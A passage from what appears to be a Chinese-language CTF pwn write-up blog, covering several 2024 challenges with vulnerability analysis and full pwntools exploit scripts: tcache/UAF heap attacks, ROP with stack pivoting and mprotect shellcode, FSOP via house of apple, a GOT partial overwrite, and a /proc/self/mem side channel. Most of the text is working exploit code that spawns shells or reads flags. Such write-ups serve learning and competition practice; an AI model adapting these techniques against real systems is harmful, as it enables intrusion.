s(payload)
r()
sleep(0.2)
s(b'f'*0xf)
#pause()
libc.address=u64(r(6).ljust(8,b'\x00'))-libc.sym['setvbuf']
leak('libc',libc.address)

payload=p64(0x404800)+p64(pop_rdi_ret+libc.address)+p64(flag)+p64(pop_rsi_ret+libc.address)+p64(0o777)+p64(pop_rax_ret+libc.address)+p64(0x5a)+p64(syscall+libc.address)
payload+=p64(pop_rdi_ret+libc.address)+p64(flag)+p64(pop_rsi_ret+libc.address)+p64(4)+p64(pop_rax_ret+libc.address)+p64(2)+p64(syscall+libc.address)
payload+=p64(pop_rdi_ret+libc.address)+p64(3)+p64(pop_rsi_ret+libc.address)+p64(0x404a00)+p64(pop_rdx_ret+libc.address)+p64(64)+p64(pop_rax_ret+libc.address)+p64(0)+p64(syscall+libc.address)
payload+=p64(pop_rdi_ret+libc.address)+p64(1)+p64(pop_rsi_ret+libc.address)+p64(0x404a00)+p64(pop_rdx_ret+libc.address)+p64(0x40)+p64(pop_rax_ret+libc.address)+p64(1)+p64(syscall+libc.address)
s(payload)
sleep(0.2)
r()
s(b'a'*0x2a+p64(0x404060)+p64(lr))

irt()
pwn()

2024MAPNA-buggy_paint

标签:tcache attack|UAF

菜单堆体,libc是2.35版本,无seccomp

核心漏洞是

select选择一个note时,将该note删除掉,依然能进行edit,show等操作,即可uaf

通过这些可以泄露heap和libc

之后再进行tcache attack,使得tcache中的一条链无限指向其自身

依此申请的管理节点chunk与缓存可写chunk重叠

从而达到任意写任意读

这里选择泄露environ,打rop

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from pwn import*

elf_path='./chall'

libc=ELF('./libc.so.6',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

#context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=1

def run():
if(local):
return process(elf_path)
return remote('3.75.185.198',2000)

p=run()


def menu(c):
sla(b'> ',tbs(c))

def create(x,y,w,h,content):
menu(1)
sla(b'x: ',tbs(x))
sla(b'y: ',tbs(y))
sla(b'width: ',tbs(w))
sla(b'height: ',tbs(h))
sla(b'color(1=red, 2=green): ',tbs(1))
sa(b'content: ',content)

def delete(x,y):
menu(2)
sla(b'x: ',tbs(x))
sla(b'y: ',tbs(y))

def select(x,y):
menu(3)
sla(b'x: ',tbs(x))
sla(b'y: ',tbs(y))

def edit(content):
menu(4)
sla(b'New content: ',content)

def show():
menu(5)
ru(b'Box content:\n')


create(0,0,8,1,b'a')

select(0,0)
delete(0,0)
#dbg()
show()

heap_base=u64(r(6).ljust(8,b'\x00'))<<12
leak('heap',heap_base)

for i in range(1,10):
create(0,i,8,0x10,b'a')

select(0,8)

for i in range(1,9):
delete(0,i)


show()
libc_base=u64(r(6).ljust(8,b'\x00'))-0x219CE0
leak('libc',libc_base)


for i in range(1,8):
create(0,i,8,0x10,b'a')

create(2,0,4,0x10,b'a')
create(1,0,3,0x10,b'a')
create(1,1,3,0x10,b'a')
create(1,2,1,0x8,b'a')

select(1,1)

delete(1,0)
delete(1,1)


environ=libc_base+libc.sym['__environ']

edit(p64((heap_base+0xa90)^(heap_base>>12)))

create(1,0,3,0x10,b'a')

create(1,1,4,0x10,b'a')#申请不同大小,以免管理节点chunk内容被程序清空,不过其实相同也没什么影响

note=flat({0x0:3,
0x8:3,
0x10:heap_base,
0x18:8,
0x20:1,
0x28:environ},filler=b'\x00')
edit(note)
select(1,1)
show()
stack=u64(r(8))

leak('stack',stack)
select(1,0)
note=flat({0x0:3,
0x8:3,
0x10:heap_base,
0x18:8,
0x20:6,
0x28:stack-0x120},filler=b'\x00')
edit(note)
select(1,1)
pop_rdi_ret=libc_base+0x2a3e5
system=libc.sym['system']
#dbg()
edit(p64(pop_rdi_ret)+p64(stack-0x120+0x20)+p64(libc_base+0x29139)+p64(libc_base+system)+b'/bin/sh\x00')
menu(6)
irt()

2024长城杯-shutup

标签:无回显|rop|shellcode|gadget发现

tmd,有思路都写了三个小时,太菜了 orz

主函数

1
2
3
4
5
6
7
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setv();
read(0, &unk_601380, 0x40uLL);
read_in();
return 0LL;
}

往bss读取了64个字节

read_in()

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 read_in()
{
int v0; // eax
char nptr[16]; // [rsp+0h] [rbp-10h] BYREF

while ( read(0, nptr, 0x10uLL) > 0 )
{
v0 = atoi(nptr);
read(0, nptr, v0);
qword_601060[0] += atoi(nptr);
}
return qword_601060[0];
}

读取当读取的字节为零(套接字断开)的时候就能结束循环

看到这种没有输出的题目,第一时间就要想到利用已有的libc指针构造syscall

然后mprotect修改权限执行shellcode

且注意到qword_601060[0] += atoi(nptr);明显可以用来调整read指针为syscall

此外恰好题目给了一个这样的函数

1
2
3
4
__int64 __fastcall sub_4006B7(int a1)
{
return qword_601060[a1];
}

如果rdi为负数,那么就可以取出read的指针,后面还可以用来置rax系统调用号


先理清一下流程

开始题目允许我们写入64个字节,暂时不知道有什么用,先略过

1
read(0, &unk_601380, 0x40uLL);

之后进入到read_in函数,其允许我们自定义读取的字节数,也就是说我们能够布置近乎任意长的ropchain

但是只能一次,因为该循环的结束条件是关闭写管道,之后再调用read就无效了

第一思路是先栈溢出返回到sub_4006B7利用负数取出got表上的read指针

取出后,注意到+=atoi的对象是qword_6011060,恰好再跳转0x400715就能将rax存入该处

但此时因为结尾的leave;ret,所以这里需要准备一次栈迁移

这里就体现出开头读取64字节的作用了,其可以用于栈迁移

并且再往下,我们需要跳转到0x4006FC进行指针调整,rbp是可控的,所以我们可以寻找一个地方放置对应的字符串,其也是可以放在0x601380

之后又有一次栈迁移同理处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
.text:00000000004006D2                               ; __unwind {
.text:00000000004006D2 55 push rbp
.text:00000000004006D3 48 89 E5 mov rbp, rsp
.text:00000000004006D6 48 83 EC 10 sub rsp, 10h
.text:00000000004006DA EB 40 jmp short loc_40071C
.text:00000000004006DA
.text:00000000004006DC ; ---------------------------------------------------------------------------
.text:00000000004006DC
.text:00000000004006DC loc_4006DC: ; CODE XREF: read_in+63↓j
.text:00000000004006DC 48 8D 45 F0 lea rax, [rbp+nptr]
.text:00000000004006E0 48 89 C7 mov rdi, rax ; nptr
.text:00000000004006E3 E8 68 FE FF FF call atoi
.text:00000000004006E3
.text:00000000004006E8 48 63 D0 movsxd rdx, eax ; nbytes
.text:00000000004006EB 48 8D 45 F0 lea rax, [rbp+nptr]
.text:00000000004006EF 48 89 C6 mov rsi, rax ; buf
.text:00000000004006F2 BF 00 00 00 00 mov edi, 0 ; fd
.text:00000000004006F7 E8 34 FE FF FF call read
.text:00000000004006F7
.text:00000000004006FC 48 8D 45 F0 lea rax, [rbp+nptr]
.text:0000000000400700 48 89 C7 mov rdi, rax ; nptr
.text:0000000000400703 E8 48 FE FF FF call atoi
.text:0000000000400703
.text:0000000000400708 48 63 D0 movsxd rdx, eax
.text:000000000040070B 48 8B 05 4E 09 20 00 mov rax, cs:qword_601060
.text:0000000000400712 48 01 D0 add rax, rdx
.text:0000000000400715 48 89 05 44 09 20 00 mov cs:qword_601060, rax
.text:0000000000400715
.text:000000000040071C
.text:000000000040071C loc_40071C: ; CODE XREF: read_in+8↑j
.text:000000000040071C 48 8D 45 F0 lea rax, [rbp+nptr]
.text:0000000000400720 BA 10 00 00 00 mov edx, 10h ; nbytes
.text:0000000000400725 48 89 C6 mov rsi, rax ; buf
.text:0000000000400728 BF 00 00 00 00 mov edi, 0 ; fd
.text:000000000040072D E8 FE FD FF FF call read
.text:000000000040072D
.text:0000000000400732 48 85 C0 test rax, rax
.text:0000000000400735 7F A5 jg short loc_4006DC
.text:0000000000400735
.text:0000000000400737 48 8B 05 22 09 20 00 mov rax, cs:qword_601060
.text:000000000040073E C9 leave
.text:000000000040073F C3 retn
.text:000000000040073F ; } // starts at 4006D2
.text:000000000040073F
.text:000000000040073F read_in endp

现在我们已经在0x601060放置了一个syscall;retgadget的地址了

之后利用csu就能进行调用了,但现在面临的一个问题是开头读取的64个字节太短了,既要布置栈迁移rop流

又要布置字符串,剩余的空间完全不可能允许我们布置csu以及shellcode

好在天无绝人之路

注意看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:00000000004006B7                               var_4= dword ptr -4
.text:00000000004006B7
.text:00000000004006B7 ; __unwind {
.text:00000000004006B7 55 push rbp
.text:00000000004006B8 48 89 E5 mov rbp, rsp
.text:00000000004006BB 89 7D FC mov [rbp+var_4], edi
.text:00000000004006BE 8B 45 FC mov eax, [rbp+var_4]
.text:00000000004006C1 48 98 cdqe
.text:00000000004006C3 48 C1 E0 03 shl rax, 3
.text:00000000004006C7 48 05 60 10 60 00 add rax, 601060h
.text:00000000004006CD 48 8B 00 mov rax, [rax]
.text:00000000004006D0 5D pop rbp
.text:00000000004006D1 C3 retn
.text:00000000004006D1 ; } // starts at 4006B7

0x4006BB处,不是就有一个将edi放到[rbp+var_4]

而elf中是存在pop rdi;retpop_rbp;ret这两个gadget的,那岂不就是说可以通过布置rop流来在bss段上任意写!!!

不过考虑到之后会利用edi作为下表偏移从0x601060处取值,如果edi太大那么就可能会读到空洞中,从而导致段错误

还好mov指令是不要求操作数对齐的,因此我们可以每次写入一个字节就rbp+1,以此写入多次来完成布置

1
2
3
4
5
6
7
8
9
10
11
12
def more(addr,shellcode):
payload=b''
for i in range(len(shellcode)):
if shellcode[i]==0:
addr+=1
continue
if i !=0:
payload+=p64(addr)
payload+=p64(pop_rdi_ret)+p64(shellcode[i])
payload+=p64(0x4006BB)
addr+=1
return payload

开头的64字节放不下的ropchain和shellcode就可以利用这个放置

到此思路就明朗了

只需要解决最后一个问题,如果布置系统调用号??题目中是没有可用的gadget的

其实上面已经提过一嘴了

我们可以在开始读取64字节的时候,就写入一个10(mprotect系统调用号)在内存中,之后再通过sub_4006B7取出放置到rax中,最后通过csu调用mprotect并返回到shellcode处getflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import*

elf_path='./shutup'

libc=ELF('./libc-2.23.so',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=1

def run():
if(local):
return process(elf_path)
return remote('127.0.0.1',1234)


def more(addr,shellcode):
payload=b''
for i in range(len(shellcode)):
if shellcode[i]==0:
addr+=1
continue
if i !=0:
payload+=p64(addr)
payload+=p64(pop_rdi_ret)+p64(shellcode[i])
payload+=p64(0x4006BB)
addr+=1
return payload

sys_ret=0xbc375
read=0xf7250
offset=sys_ret-read
pop_rdi_ret=0x4007e3
pop_rbp_ret=0x4005c0
leave_ret=0x40073E
p=run()


payload1=p64(0x6013b0)+p64(0x4006FC)
payload1+=p64(0x4006b7)+p64(10)
payload1+=tbs(offset)
payload1+=b'\0'*9
payload1+=p64(0x6013b8)+p64(leave_ret)


s(payload1)

sleep(1)

s(b'8000')
rop_chain=p64(0x4007DA)+p64(0)+p64(1)+p64(0x601390)+p64(0)+p64(0)+p64(103)+p64(0x4007C0)+p64(0)*2+p64(1)+p64(0x601060)+p64(7)+p64(0x1000)+p64(0x601000)+p64(0x4007C0)+p64(0)*7+p64(0x601600)

shellcode=shellcraft.open('flag')
shellcode+=shellcraft.read(3,0x601800,32)
shellcode+=shellcraft.write(1,0x601800,32)
shellcode=asm(shellcode)

payload2=b'a'*16+p64(0x6013c4)
payload2+=more(0x6013c4,rop_chain)+p64(0x601604)
payload2+=more(0x601604,shellcode)+p64(0x601380)
payload2+=p64(pop_rdi_ret)+p64(0xFFFFFFEF)+p64(0x4006B7)+p64(0x400715)
s(payload2)

#dbg()
p.shutdown('write')

irt()

2024长城杯-sometime

标签:堆重叠|FSOP

靠,犯蠢有点严重

1
*(_BYTE *)now = 0;

一直没注意到强转成byte指针了,以为是整个置零,导致完全不知道有什么用

题目保护是全开的,都是现在glibc堆题常规了

提供了add,show,delete三个功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int show()
{
int result; // eax

result = (int)now;
if ( now )
return printf("%s", *(const char **)now);
return result;
}

void *add()
{
void *result; // rax
unsigned int nbytes; // [rsp+4h] [rbp-Ch]
void *nbytes_4; // [rsp+8h] [rbp-8h]

now = malloc(8uLL);
printf("size> ");
result = (void *)getint();
nbytes = (unsigned int)result;
if ( (unsigned int)result <= 0x100 )
{
nbytes_4 = malloc((int)result);
printf("note> ");
read(0, nbytes_4, nbytes);
result = now;
*(_QWORD *)now = nbytes_4;
}
return result;
}

void delete()
{
if ( now )
{
free(*(void **)now);
free(now);
now = 0LL;
}
}

限制了申请chunk的大小,且对chunk的操作仅限于刚申请出来时的初始化

乍一看没有漏洞点,但是函数在开始时注册了一个watch函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
signal(14, watch);

void watch()
{
if ( op )
{
if ( op == 1 )
{
evil_behave("(The system will self-destruct in 1 seconds.)", 1000000LL);
evil_behave("(The system will self-destruct in 0 seconds.)", 0LL);
exit(0);
}
}
else
{
some_say("success! I arrive that.", 1000000LL);
evil_say("Who is there!", 500000LL);
some_say("Damn! He found us. Hury up!", 1000000LL);
evil_say("!!!!!!", 2000000LL);
evil_say(
"Do you honestly believe pulling off something this amateurish will get you a shell? It's downright laughable.",
500000LL);
evil_behave("(The system will self-destruct in 20 seconds.)", 1000000LL);
some_say("I can only assist up to this point. Sorry.", 100000LL);
alarm(0x14u);
*(_BYTE *)now = 0;
}
++op;
}

第一次时间到的时候会有一次将now的最低字节改为0

这有什么用??毕竟我们又不能利用now指针写,只能拿去释放

但我们知道free时的绝大部分检查都是基于size域的,若我们伪造一个位于tcache范围外的size,并通过各种检查

那么释放的时候,岂不是就能获得一个unsorted chunk,再利用切割特性就能泄露libc

当然伪造的时候需要注意,free的指针指向一个0x100对齐的区域,所以size需要布置在上一个0xf8

到此为止,我们已经能够获得libcbase与heapbase,准备工作已经就绪

现在思路很明确,任意写修改vtable完成fsop利用

至于任意写思路很清晰,劫持tcache,这也是本题一大难点,因为对chunk的操作限制极大,同一种大小的chunk几乎只能申请一个,当然不释放的情况下能有多个,但不释放之后却也完全无法对这个chunk进行任何操作

但之前我们利用unsorted完成了一个堆块堆叠,我们可以申请一个较大的堆块A堆叠两个较小的堆块BC

其中大小满足A>B+C&&B!=C,我自己选择的是0x110,0x40,0x50

然后B,C是位于tcache链中的,考虑到tcache取出时对size几乎没有任何检查

我们第一次申请A写B和C的size为0x101,然后申请B和C出来,并在申请完成后立即释放此时BC会被放置到0x100

再一次申请A并写C的next为stderr的地址,最后两次申请出stderr,完成house of apple利用

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import*

elf_path='./sometime'

libc=ELF('./libc.so.6',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=1

def run():
if(local):
return process(elf_path)
return remote('127.0.0.1',1234)

p=run()

def menu(cho):
sla(b'(1:add,2:release,3:print)> ',tbs(cho))

def add(size,content):
menu(1)
sla(b'size> ',tbs(size))
sa(b'note> ',content)

def show():
menu(3)

def delete():
menu(2)


add(0x40,b'\0'*0x38+p64(0x421))
add(0x30,b'a')
delete()
add(0x40,b'b')
delete()
add(0x60,b'c')
delete()
add(0xe0,b'd')
delete()
add(0xd0,b'e')
delete()
add(0xc0,b'f')
delete()
add(0xb0,b'\0'*0x48+p64(0x21)+b'\0'*0x18+p64(0x21))

add(0x60,b'c')
sla(b'I can only assist up to this point. Sorry.\n',b'2')

add(0x100,b'g'*8)

show()
ru(b'g'*8)
libc.address=u64(r(6).ljust(8,b'\x00'))-0x21a0d0
leak('libc',libc.address)
delete()

add(0x100,b'g'*0x10)

show()
ru(b'g'*0x10)
heap_base=u64(r(6).ljust(8,b'\x00'))-0x2f0
leak('heap',heap_base)
stderr=libc.sym['_IO_2_1_stderr_']
delete()
add(0x100,b'a'*0x28+p64(0x101)+b'a'*0x38+p64(0x101))
delete()
add(0x30,b'a')
delete()


add(0x40,b'a')
delete()
add(0x100,b'a'*0x28+p64(0x101)+b'a'*0x38+p64(0x101)+p64((stderr)^(heap_base>>12)))
add(0xf0,b'a')

payload=flat(
{
0x00:b' sh\0',
0xd8:libc.address+0x2160c0,
0xa0:stderr-0x10,
0x8:0,
0x20:0,
0xd0:stderr-0x10,
0x58:libc.sym['system'],
0x28:1,
0x30:0
},
filler=b'\x00',
length=0xe0)
add(0xf0,payload)
#dbg()
irt()

2024长城杯-somehash

标签:负数溢出|格式化字符串漏洞

这题的漏洞点在于没有对负数进行检查

1
2
3
4
5
v10 = getint("name length> ");
if ( v10 > 256 )
_exit(0);
printf("name> ");
buf[v10] = read(0, buf, (unsigned __int16)v10);

导致可以在bss上buf往前任意写一个字节,但这有什么用呢

我们可以知道这题是partial relro,并且可以发现

1
2
3
read(0, buf, 0x100uLL);
sub_2476((unsigned int)dword_5078);
v6 = strlen(buf);

那么有没有可能在strlen解析之前,修改其got表为printf的got表,毕竟二者刚好只有一个字节之差,而且任意写一字节漏洞刚好位于strlen之前

并且,printf的返回值是输出字符的数量,strlen也是字符数量,并不影响后续程序的逻辑

另外这题别被hash表的计算干扰了,其和解题基本没有关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*

elf_path='./somehash'

libc=ELF('./libc.so.6',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def dbg(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=1

def run():
if(local):
return process(elf_path)
return remote('127.0.0.1',1234)

p=run()

sla(b'name length> ',b'-152')
dbg()
sa(b'name> ',b'a'*0x80)
#.......
#剩下的都是格式化字符串老生常谈的东西了,就不写了
irt()

2024d3ctf-write_where_flag

标签:侧信道

比较有意思的一道侧信道题目,赛后wp看到了四种解法,但总的算起来其实是三种办法

先分析下题目,附件中给出了源码,以及dockfile(可以自己起一个,把libc拖出来)

其每次会将libc的代码段映射部分信息打印给我们

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
FILE* maps_stream = fopen("/proc/self/maps", "r");

int count = 1;
char *line = NULL;
uint64_t len = 0;
uint64_t addr_start = 0, addr_end = 0, offset = 0, major_id = 0, minor_id = 0, inode_id = 0;
char mode[0x10], file_path[0x100];
memset(mode, 0, sizeof(mode));
memset(file_path, 0, sizeof(file_path));

while (getline(&line, &len, maps_stream) != -1 ) {
sscanf(line,"%lx-%lx%s%lx%lu:%lu%lu%s",
&addr_start, &addr_end, mode, &offset,
&major_id, &minor_id, &inode_id, file_path
);
if (count == 10) {
libc_code_addr_start = addr_start;
libc_code_addr_end = addr_end;
break;
}
count++;
}

第10次就好刚好是libc的代码段

之后无限次的允许我们使用flag中的一个字节(未知)去覆盖该段的任意一个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  while (scanf("%lu%u", &addr, &offset) == 2) {
if (!(libc_code_addr_start <= addr && addr < libc_code_addr_end) ||
!(offset >= FLAG_PREFIX_LENGTH && offset < strlen(flag) - FLAG_SUFFIX_LENGTH))
break;

write_mem(addr, flag[offset]);
}

void write_mem(uint64_t addr, uint8_t byte) {
int fd = open("/proc/self/mem", O_RDWR);
lseek(fd, addr, SEEK_SET);
write(fd, &byte, 1);
close(fd);
}

其中/proc/self/mem文件允许我们无视映射时的权限对内存进行修改

solution1

第一种解法这也是比赛时我自己的思路,但可惜没能做出来,因为一些libc中的点没找到

这种思路是利用已知的libc中的机器码中刚好对应ascii字符的,只要我们能够找到a-f0-9所有对应的机器码,这样我们随机将flag中的一个字节覆盖此处时

如果与原先不同,那么程序就会崩溃,以此来判断flag

但这个思路最麻烦的就是:因为要运行到此处,就几乎只能从scanf函数中寻找,而就算scnaf中找到了,程序也不一定会运行到此处,甚至运行到了也不一定会崩溃

这就是这种思路的最大限制,不能方便的找到可用的ascii覆盖目标

最终没能做出来,但赛后看到一篇wp也是这个思路,但是其做出来了

‌⁢⁡⁢‍⁡‬⁤‬‬⁢⁤⁤‍‍⁤⁡‌⁤⁣‬⁤⁢⁢⁣‍⁢‬‬‌‍‬‌⁣2024 04.26 d3ctf wp - LaoGong - 飞书云文档 (feishu.cn)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
...
to = 2.5
def test(addr, offset):
addr -= 0x26000
# p = remote("host", port)
libc.address = int((b"0x" + p.recvuntil(b"-", drop=True)).decode(), base=16)
p.recvuntil(b"}\n")
# info("libc.address = 0x%x", libc.address)
# p.sendline((str(addr + libc.address) + " " + str(offset + 6)).encode())
try:
p.sendline((str(addr + libc.address) + " " + str(offset + 6)).encode())
p.recv(1, timeout=to)
p.sendline((str(addr + libc.address) + " " + str(offset + 6)).encode())
p.recv(1, timeout=to)
except EOFError:
print("crash")
return 0
finally:
# p.interactive()
p.close()
print("nocrash")
return 1

flag = ""
for i in range(41):
s = "0123456789abcdef"
res_set = set(s)
for addr in addrs:
if test(addr, i):
res_set &= set(addrs[addr])
else:
res_set -= set(addrs[addr])
if len(res_set) == 1:
flag += res_set.pop()
break
elif len(res_set) == 0:
assert False
else:
print(res_set)
assert False
print(flag)

# {0411134c0ddfd04f1a109efc672f54a0053fb206}

可以看出来,其并不是直接找到所有ascii对应的机器码

有些位置只用于确认一个集合,这倒是没想到

solution2

第二种思路确实没想到,有两个解法都是这种思路,简单来说就是修改报错字符串寻址,根据报错字符串的偏移进行侧信道攻击

个人觉得是比较好的一种思路,选择其中一种举例

在stack_chk_fail中会进行字符串打印

1
2
3
4
5
6
7
.text:0000000000136720 F3 0F 1E FA                   endbr64
.text:0000000000136724 50 push rax
.text:0000000000136725 58 pop rax
.text:0000000000136726 48 8D 3D FE 51 0A 00 lea rdi, aStackSmashingD ; "stack smashing detected"
.text:000000000013672D 48 83 EC 08 sub rsp, 8
.text:0000000000136731 E8 0A 00 00 00 call __fortify_fail
.text:0000000000136731 ; } // starts at 136720

若我们修改其lea的偏移,就会输出不同的字符串以此来判别flag

问题在于如何进入stack_chk_fail

在scanf中是这样检测的

1
2
3
4
5
6
7
8
9
10
11
.text:0000000000060CEF 48 8B 54 24 18                mov     rdx, [rsp+0D8h+var_C0]
.text:0000000000060CF4 64 48 2B 14 25 28 00 00 00 sub rdx, fs:28h
.text:0000000000060CFD 75 08 jnz short loc_60D07
.text:0000000000060CFD
.text:0000000000060CFF 48 81 C4 D8 00 00 00 add rsp, 0D8h
.text:0000000000060D06 C3 retn
.text:0000000000060D06
.text:0000000000060D07 ; ---------------------------------------------------------------------------
.text:0000000000060D07
.text:0000000000060D07 loc_60D07: ; CODE XREF: scanf+BD↑j
.text:0000000000060D07 E8 14 5A 0D 00 call __stack_chk_fail

虽然我们无法改变canary,但是如果在取出时,我们覆盖一个字节可以使得取出错误的canary,那么就一定会触发stack_chk_fail

就像这样

1
.text:0000000000060CEF 48 8B 54 24 32                mov     rdx, [rsp+0D8h+var_A8+2]

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
# context.terminal = ["zellij", "action", "new-pane", "-d", "down", "-c", "--", "zsh", "-c"]
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./vuln')
exe = context.binary = ELF(exe_path)
libc = ELF('libc.so.6')

host = '47.103.122.127'
port = 30217

# host = "127.0.0.1"
# port = 9999

# if sys.argv[1] == 'r':
# p = remote(host, port)
# elif sys.argv[1] == 'p':
# p = process(exe_path)
# else:
# p = gdb.debug(exe_path, 'b *$rebase(0x170c)')

def one_gadget(filename, base_addr=0):
return [(int(i, p)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]

def gdb_pause(p):
gdb.attach(p)
pause()

def pwn(idx, p):
libc.address = int(b"0x"+(p.recv(12)), 16)-0x26000

# print(hex(libc.address+0x5c57d))


p.sendlineafter(b"}}", str(libc.address+0x138f39)+" "+str(idx))
# p.sendlineafter(b"}}", str(libc.address+0x137c92)+" "+str(5))

p.sendline(str(libc.address+0x5c57d)+" "+str(8))

p.sendline(str(libc.address+0x5c57d)+" "+str(8))
return p.recvall()[5:]

# f = open("./turn", "w")

flag = "d3ctf{"

for i in range(0, 60):
p = remote(host, port)

try:
res = pwn(i, p)[0:3]
if res == b"ktr":
flag += "a"
elif res == b"tra":
flag += "b"
elif res == b"rac":
flag += "c"
elif res == b"ace":
flag += "d"
elif res == b"ces":
flag += "e"
elif res == b"esy":
flag += "f"
elif res == b"ed ":
flag += "1"
elif res == b"d s":
flag += "2"
elif res == b" st":
flag += "3"
elif res == b"sta":
flag += "4"
elif res == b"tac":
flag += "5"
elif res == b"ack":
flag += "6"
elif res == b"ck ":
flag += "7"
elif res == b"k f":
flag += "8"
elif res == b" fr":
flag += "9"
elif res == b"zed":
flag += "0"
continue
# f.write(str(i))
# f.write(res.decode())
# f.write("\n")
except EOFError:
continue
# f.close()
flag+= "}"
print(flag)
print(len(flag))

另外一种大差不差,只不过是用vtable报错,但更不好想

D^3CTF WP (qq.com)

D^3CTF 2024 By W&M - W&M Team (wm-team.cn)

solution3

解法3也就是官方给出的解法

查看scanf源代码,可以看到以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
......

case L_('u'): /* Unsigned decimal integer. */
base = 10;
goto number;

case L_('d'): /* Signed decimal integer. */
base = 10;
flags |= NUMBER_SIGNED;
goto number;

case L_('i'): /* Generic number. */
base = 0;
flags |= NUMBER_SIGNED;

number:
c = inchar ();
if (__glibc_unlikely (c == EOF))
input_error ();

/* Check for a sign. */
if (c == L_('-') || c == L_('+'))
{
char_buffer_add (&charbuf, c);
if (width > 0)
--width;
c = inchar ();
}

......

即输入数字时,会先判断符号,所以可以将+修改为某个标志符,根据下次输入的程序的运行来判断爆破是否正确。对应反汇编为

1
2
3
4
.text:0000000000068BFA 83 E8 2B                      sub     eax, 2Bh ; '+'
